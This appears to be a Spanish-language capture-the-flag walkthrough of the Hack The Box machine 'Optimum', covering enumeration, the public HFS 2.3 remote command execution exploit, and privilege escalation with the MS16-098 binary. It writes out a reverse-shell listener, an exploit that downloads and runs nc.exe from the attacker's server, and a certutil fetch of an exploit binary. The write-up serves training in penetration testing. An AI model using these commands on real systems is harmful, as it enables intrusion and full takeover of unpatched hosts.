Enumeración
La fase de enumeración inicial estableció que el objetivo, 10.129.89.198, es una máquina Windows basándonos en el TTL=127 del comando ping. Un escaneo de puertos completo utilizando Nmap reveló únicamente el puerto 80 abierto, ejecutando el servicio HttpFileServer httpd 2.3. Escaneos más detallados y la herramienta WhatWeb confirmaron la presencia de HFS 2.3, lo cual sugería fuertemente que un vector de ataque específico podría estar disponible, acotando el enfoque para la siguiente fase.
# Comprobar la conexión y el ttl=127 que nos indica que es una máquina Windows
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ ping -c 1 10.129.89.198
64 bytes from 10.129.89.198: icmp_seq=1 ttl=127 time=97.2 ms
# [-p-] Escaneo de todos los puertos
# [--open] Mostrar solo los puertos abiertos
# [-n] No resolver DNS para mejorar el tiempo del escaneo
# [-sS] Escaneo SYN. No completar las conexiones TCP
# [-Pn] Omitir la comprobación inicial de host
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ sudo nmap -p- --open -n -sS -Pn --min-rate=5000 10.129.89.198
PORT STATE SERVICE
80/tcp open http
# [-p80] Escanear solo el puerto 80
# [-sCV] Detección de versión de servicios y ejecución de scripts por defecto
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ sudo nmap -p80 -sCV 10.129.89.198 -oN target
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
# Obtener información sobre las tecnologías de la página web
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ whatweb [http://10.129.89.198](http://10.129.89.198)
[200 OK] Cookies[HFS_SID], Country[RESERVED][ZZ], HTTPServer[HFS 2.3], HttpFileServer, IP[10.129.89.198], JQuery[1.4.4], Script[text/javascript], Title[HFS /]
Explotación
La fase de explotación comenzó utilizando searchsploit para buscar vulnerabilidades conocidas para HFS 2.3. La búsqueda arrojó varias opciones, eligiendo el exploit Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) (EDB ID 39161). Este exploit requiere alojar una copia de Netcat para Windows (renombrada a nc.exe) en un servidor HTTP local. Después de configurar un servidor HTTP con Python en el puerto 80 y un listener de Netcat en el puerto 443, se ejecutó el script del exploit en Python 2. Aunque falló inicialmente, una segunda ejecución logró ejecutar el comando remoto con éxito, descargando y ejecutando nc.exe en el objetivo para establecer una reverse shell, otorgando acceso como el usuario de bajos privilegios kostas.
# Buscando exploits para HFS v2.3
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ searchsploit HFS 2.3
----------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3) | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC) | multiple/remote/48569.py
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit) | windows/remote/34926.rb
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1) | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution | windows/webapps/34852.txt
----------------------------------------------------------------------------------------------------------- ---------------------------------
# [-x] Ver el código fuente del script
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ searchsploit -x windows/remote/39161.py
# Notas del creador:
# Ejecución : python Exploit.py <Target IP address> <Target Port Number>
# EDB Nota: Necesitas usar un servidor web alojando netcat (http://<attackers_ip>:80/nc.exe).
# Puede que necesites ejecutar varias veces para funcionar!
# [-m] Copiar el script al directorio actual
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ searchsploit -m windows/remote/39161.py
Exploit: Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
URL: [https://www.exploit-db.com/exploits/39161](https://www.exploit-db.com/exploits/39161)
Path: /usr/share/exploitdb/exploits/windows/remote/39161.py
Codes: CVE-2014-6287, OSVDB-111386
Verified: True
File Type: Python script, ASCII text executable, with very long lines (540)
Copied to: /home/kali/htb/optimum/39161.py
# Cambiar el valor de la dirección IP local en el código fuente
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ nano 39161.py # ip_addr = "10.10.14.84"
# Descargar netcat para Windows desde el sitio web de nmap
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ wget [https://nmap.org/dist/ncat-portable-5.59BETA1.zip](https://nmap.org/dist/ncat-portable-5.59BETA1.zip)
# [-j] Rutas basura (Junk paths). No crear un nuevo directorio al extraer los archivos
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ unzip -j ncat-portable-5.59BETA1.zip
# Los archivos extraídos están en el directorio de trabajo
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ ls -l
-rwxr-xr-x 1 kali kali 1667584 Jun 30 2011 ncat.exe
-rw-rw-r-- 1 kali kali 666933 Jun 30 2011 ncat-portable-5.59BETA1.zip
-rw-rw-r-- 1 kali kali 640 Jun 30 2011 README
# Renombrar el archivo porque el script buscará "nc.exe"
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ mv ncat.exe nc.exe
# Crear un servidor http simple con python
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ([http://0.0.0.0:80/](http://0.0.0.0:80/))
# Escuchar la reverse shell en el puerto 443
# [-l] Modo de escucha (Listen). Esperando una conexión entrante
# [-v] Verbosidad en la salida (Verbosity)
# [-n] No resolver DNS
# [-p] Especifica el número de puerto para escuchar o conectarse
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ nc -lvnp 443
# Ejecutar el script usando python2
# python2 39161.py <target_ip> <target_port>
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ python2 39161.py 10.129.89.198 80
# El script recuperó el archivo netcat del servidor pero no creó una shell hacia mi listener. Vamos a ejecutarlo de nuevo
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ python2 39161.py 10.129.89.198 80
# Obtuvimos acceso con el usuario kostas
C:\Users\kostas\Desktop>whoami
optimum\kostas
# La user flag está en "C:\Users\kostas\Desktop\user.txt"
C:\Users\kostas\Desktop>type user.txt
66*****************************ff
Escalada de Privilegios
Para la escalada de privilegios, se ejecutó el comando systeminfo en el objetivo, y su salida se guardó localmente. Esta información fue luego introducida en la herramienta Windows-Exploit-Suggester-python3, la cual compara los niveles de parches del sistema contra una base de datos de vulnerabilidades conocidas. La herramienta sugirió el exploit para MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) (EDB ID 41020). El binario del exploit asociado, 41020.exe, fue descargado del repositorio de binarios de Exploit-DB, transferido a la máquina objetivo a través de un servidor HTTP en Python y certutil, y posteriormente ejecutado. La ejecución del exploit logró escalar los privilegios con éxito del usuario kostas a NT AUTHORITY\SYSTEM, permitiendo la recuperación de la root flag final.
# Copiar toda la información recuperada de la máquina a un archivo en tu máquina local, como "systeminfo.txt"
C:\Users\kostas\Desktop>systeminfo
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ nano systeminfo.txt
# Clonando el repositorio windows-exploit-suggester para python3
# Repo original: [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ git clone [https://github.com/Pwnistry/Windows-Exploit-Suggester-python3](https://github.com/Pwnistry/Windows-Exploit-Suggester-python3)
# [-u] Actualizar la base de datos
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ python3 windows-exploit-suggester.py -u
[*] initiating winsploit version 3.4...
[+] writing to file 2025-10-23-mssb.xlsx
[*] done
# [-d] Archivo de la base de datos
# [-i] Archivo systeminfo
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ python3 windows-exploit-suggester.py -d 2025-10-23-mssb.xlsx -i systeminfo.txt
[*] initiating winsploit version 3.4...
[*] querying database file for potential vulnerabilities
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
...
...
...
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*] [https://www.exploit-db.com/exploits/41020/](https://www.exploit-db.com/exploits/41020/) -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
# Descargar el binario desde exploitdb-bin-sploits para el exploit anterior
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ wget [https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41020.exe](https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41020.exe)
# Crear un servidor http con python para transferir el binario a la máquina Windows Server
┌──(jquirozz㉿jquirozz.com)-[~/htb/optimum]
└─$ python3 -m http.server 80
C:\Users\kostas\Desktop>cd C:\Windows\Temp
C:\Windows\Temp>mkdir Privesc
C:\Windows\Temp>cd Privesc
# Obteniendo el binario desde el servidor http
# Comando: certutil -f -urlcache -split http://<server_ip>/<server_file> <nombre_archivo_salida>
# [-f] Bandera Force (forzar). Sobrescribir si el archivo ya existe
# [-urlcache] Manipular la caché de URL, lo que incluye la función para descargar archivos desde una URL específica.
# [-split] Este es un modificador para el comando "-urlcache" que le dice a certutil que guarde el archivo de salida en el disco
C:\Windows\Temp\Privesc>certutil -f -urlcache -split [http://10.10.14.84/41020.exe](http://10.10.14.84/41020.exe) exploit.exe
CertUtil: -URLCache command completed successfully.
# Ejecutar el exploit
C:\Windows\Temp\Privesc>exploit.exe
# Obtuvimos acceso de Administrador
C:\Windows\Temp\Privesc>whoami
nt authority\system
# La root flag en "C:\Users\Administrator\Desktop"
C:\Windows\Temp\Privesc>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type root.txt
09*****************************e7